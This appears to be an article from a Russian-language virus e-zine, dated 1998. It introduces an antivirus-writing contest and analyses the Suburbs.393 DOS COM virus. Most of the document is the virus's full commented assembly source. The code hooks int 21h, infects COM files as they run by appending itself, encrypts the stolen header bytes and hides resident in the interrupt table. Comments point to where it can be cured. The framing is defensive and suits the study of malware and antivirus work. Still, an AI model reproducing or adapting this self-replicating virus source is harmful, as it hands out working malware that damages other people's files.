ZF

         Написание антивируса для простого COM-виря.


    Представленные в  данном  номере  антивирусы,являются  победителями
конкурса   проходившего  в  конце  прошлого  1997  года  в  конференции
rel.comp.virus.  Для  первого  этапа  был   выбран   простой   RC-вирус
Suburbs.393 из журнала SLAM. Сами антивирусы с исходными текстами лежат
в директории FILE/. Берите,обучайтесь,пишите лучше и присылайте нам.


Suburbs/SLAM -
    неопасный COM-вирус.  При запуске по 4Bh поражает только COM-файлы,
не  имеющие  в начале команды JMP,  так как использует ее как индикатор
зараженности.  В памяти живет во второй  половине  таблицы  прерываний.
Дописывается  в  конец  поражаемого файла,  сохраняя первые три байта в
своем теле в зашифрованном виде.
                                               Text by ReCoder


PAGE  59,132                           Commented by Populizer

;##########################################################################
;##                                                                      ##
;##                             SUBURBS                                  ##
;##                                                                      ##
;##########################################################################

.386c

.487
d_0000_0084_e   equ     84h
d_0020_0000_e   equ     0                       ;*
d_0020_0174_e   equ     174h                    ;*
d_0020_0176_e   equ     176h                    ;*
d_0020_018A_e   equ     18Ah                    ;*
d_0020_018B_e   equ     18Bh                    ;*

                .model tiny
                .code
                org     100h
start:
                jmp     l_010B
                                                ;* No entry point to code
                and     al,24h                  ; '$'
                nop
                nop
                nop
                nop
                nop
                retn
l_010B:
                jmp     l_01FB
;--- Новый обработчик int 24
                                                ;* No entry point to code
                mov     al,3
                iret
;--- Новый обработчик int 21
                                                ;* No entry point to code
                cmp     ah,4Bh                  ; 'K'
                je      short l_0119
;--- Переход на настоящий обработчик int 21
                jmp     l_01F6
l_0119:
;--- Заражение файла при запуске.
                pusha
                push    ds
                push    es
                mov     ax,4300h
                int     21h                     ; DOS Services  ah=function 43h
                                                ;  get attrb cx, filename @ds:dx
                push    cx
                push    ds
                push    dx
                mov     ax,4301h
                xor     cx,cx
                int     21h                     ; DOS Services  ah=function 43h
                                                ;  set attrb cx, filename @ds:dx
                mov     ax,3D02h
                int     21h                     ; DOS Services  ah=function 3Dh
                                                ;  open file, al=mode,name@ds:dx
                xchg    bx,ax
                mov     ax,20h
                mov     ds,ax
                mov     ds:d_0020_0174_e,bx
                mov     ax,3524h
                int     21h                     ; DOS Services  ah=function 35h
                                                ;  get intrpt vector al in es:bx
                push    es
                push    bx
                mov     ax,2524h
;*              mov     dx,offset l_0020_0003   ;*
                db      0BAh, 03h, 00h
                int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
                mov     bx,ds:d_0020_0174_e
                mov     ax,5700h
                int     21h                     ; DOS Services  ah=function 57h
                                                ;  get file date+time, bx=handle
                                                ;   returns cx=time, dx=time
                push    dx
                push    cx
                mov     ah,3Fh                  ; '?'
                mov     dx,d_0020_0174_e
                mov     cx,3
                int     21h                     ; DOS Services  ah=function 3Fh
                                                ;  read file, bx=file handle
                                                ;   cx=bytes to ds:dx buffer
                jnc     short l_0162
                jmp     short l_01D9
l_0162:
;--- Проверка на EXE файл
                cmp     word ptr ds:d_0020_0174_e,5A4Dh
                je      short l_01D9
                cmp     word ptr ds:d_0020_0174_e,4D5Ah
                je      short l_01D9
                mov     ax,4200h
                xor     cx,cx
                mov     dx,word ptr ds:d_0020_0174_e+1
;*              add     dx,3
                db       83h,0C2h, 03h
                int     21h                     ; DOS Services  ah=function 42h
                                                ;  move file ptr, bx=file handle
                                                ;   al=method, cx,dx=offset
                mov     ah,3Fh                  ; '?'
                mov     dx,d_0020_018B_e
                mov     cx,3
                int     21h                     ; DOS Services  ah=function 3Fh
                                                ;  read file, bx=file handle
                                                ;   cx=bytes to ds:dx buffer
;--- Признак заражения E9 первый байт.
                cmp     byte ptr ds:d_0020_018B_e,0E9h
                je      short l_01D9
                xor     byte ptr ds:d_0020_0174_e,21h   ; '!'
                xor     byte ptr ds:d_0020_0174_e+1,85h
                xor     byte ptr ds:d_0020_0176_e,2Dh   ; '-'
                mov     ax,4202h
                xor     cx,cx
                xor     dx,dx
                int     21h                     ; DOS Services  ah=function 42h
                                                ;  move file ptr, bx=file handle
                                                ;   al=method, cx,dx=offset
                mov     bp,ax
                mov     ah,40h                  ; '@'
                xor     dx,dx
                mov     cx,189h
                int     21h                     ; DOS Services  ah=function 40h
                                                ;  write file  bx=file handle
                                                ;   cx=bytes from ds:dx buffer
                jc      short l_01D9
                mov     ax,4200h
                xor     cx,cx
                xor     dx,dx
                int     21h                     ; DOS Services  ah=function 42h
                                                ;  move file ptr, bx=file handle
                                                ;   al=method, cx,dx=offset
                mov     si,18Ah
                mov     byte ptr ds:d_0020_018A_e,0E9h
                mov     ax,bp
                sub     ax,3
                mov     ds:d_0020_018B_e,ax
                mov     dx,d_0020_018A_e
                mov     ah,40h                  ; '@'
                mov     cx,3
                int     21h                     ; DOS Services  ah=function 40h
                                                ;  write file  bx=file handle
                                                ;   cx=bytes from ds:dx buffer
l_01D9:
                mov     ax,5701h
                pop     cx
                pop     dx
                int     21h                     ; DOS Services  ah=function 57h
                                                ;  set file date+time, bx=handle
                                                ;   cx=time, dx=time
                mov     ah,3Eh
                int     21h                     ; DOS Services  ah=function 3Eh
                                                ;  close file, bx=file handle
                pop     dx
                pop     ds
                mov     ax,2524h
                int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
                mov     ax,4301h
                pop     dx
                pop     ds
                pop     cx
                int     21h                     ; DOS Services  ah=function 43h
                                                ;  set attrb cx, filename @ds:dx
                pop     es
                pop     ds
                popa
l_01F6:
                jmp     far ptr $-1F6h
l_01FB:
                pushad
                push    ds
                push    es
                mov     di,ds
                mov     ax,20h
                mov     ds,ax
;--- Проверка инсталяции в памяти
                cmp     word ptr ds:d_0020_0000_e,0
                jne     short l_0257
;--- Заражение памяти
                mov     ds,di
                xor     ax,ax
                mov     es,ax
                mov     di,d_0000_0084_e
                mov     ax,es:[di]
                mov     bx,es:[di+2]

                mov     si,word ptr ds:[101h]
                add     si,1EFh
;--- Запомнить старое значение int 21
                mov     cs:[si],ax
                mov     cs:[si+2],bx
                xor     ax,ax
                mov     di,ax
                mov     si,word ptr ds:[101h]
                add     si,103h
                push    cs
                pop     ds
;--- Перенести тело в таблицу векторов 20:0
                mov     ax,20h
                mov     es,ax
                mov     cx,189h
                rep     movsb
                xor     ax,ax
                mov     es,ax
;--- Установить новое значение вектора int 21 -> 0020:0006
                mov     di,d_0000_0084_e
                mov     word ptr es:[di],6
                mov     ax,20h
                mov     es:[di+2],ax
l_0257:
                mov     ax,cs
                mov     ds,ax
                mov     es,ax
;--- Для автоматического лечения вируса необходимо передать управление в
;--- эту точку.
;--- Для ручного лечения нужно расшифровывать байты и записывать их
;--- По адресу 0 для COM файлов.
                mov     si,word ptr ds:[101h]
                add     si,277h
;--- Расшифровать оригинальные байты
                xor     byte ptr [si],21h       ; '!'
                xor     byte ptr [si+1],85h
                xor     byte ptr [si+2],2Dh     ; '-'
;--- Записать оригинальные байты по адресу cs:100
                mov     di,100h
                mov     cx,3
                rep     movsb
                pop     es
                pop     ds
                popa
l_027B:
                push    offset start
                retn
;--- Зашифрованные оригинальные байты -> 90 90 90
                db      0B1h, 15h,0BDh
                db      '[VD/SLAM]'
                db       00h, 53h, 75h, 62h, 75h, 72h
                db       62h, 73h, 00h
                end


(C) NF, 1998-2004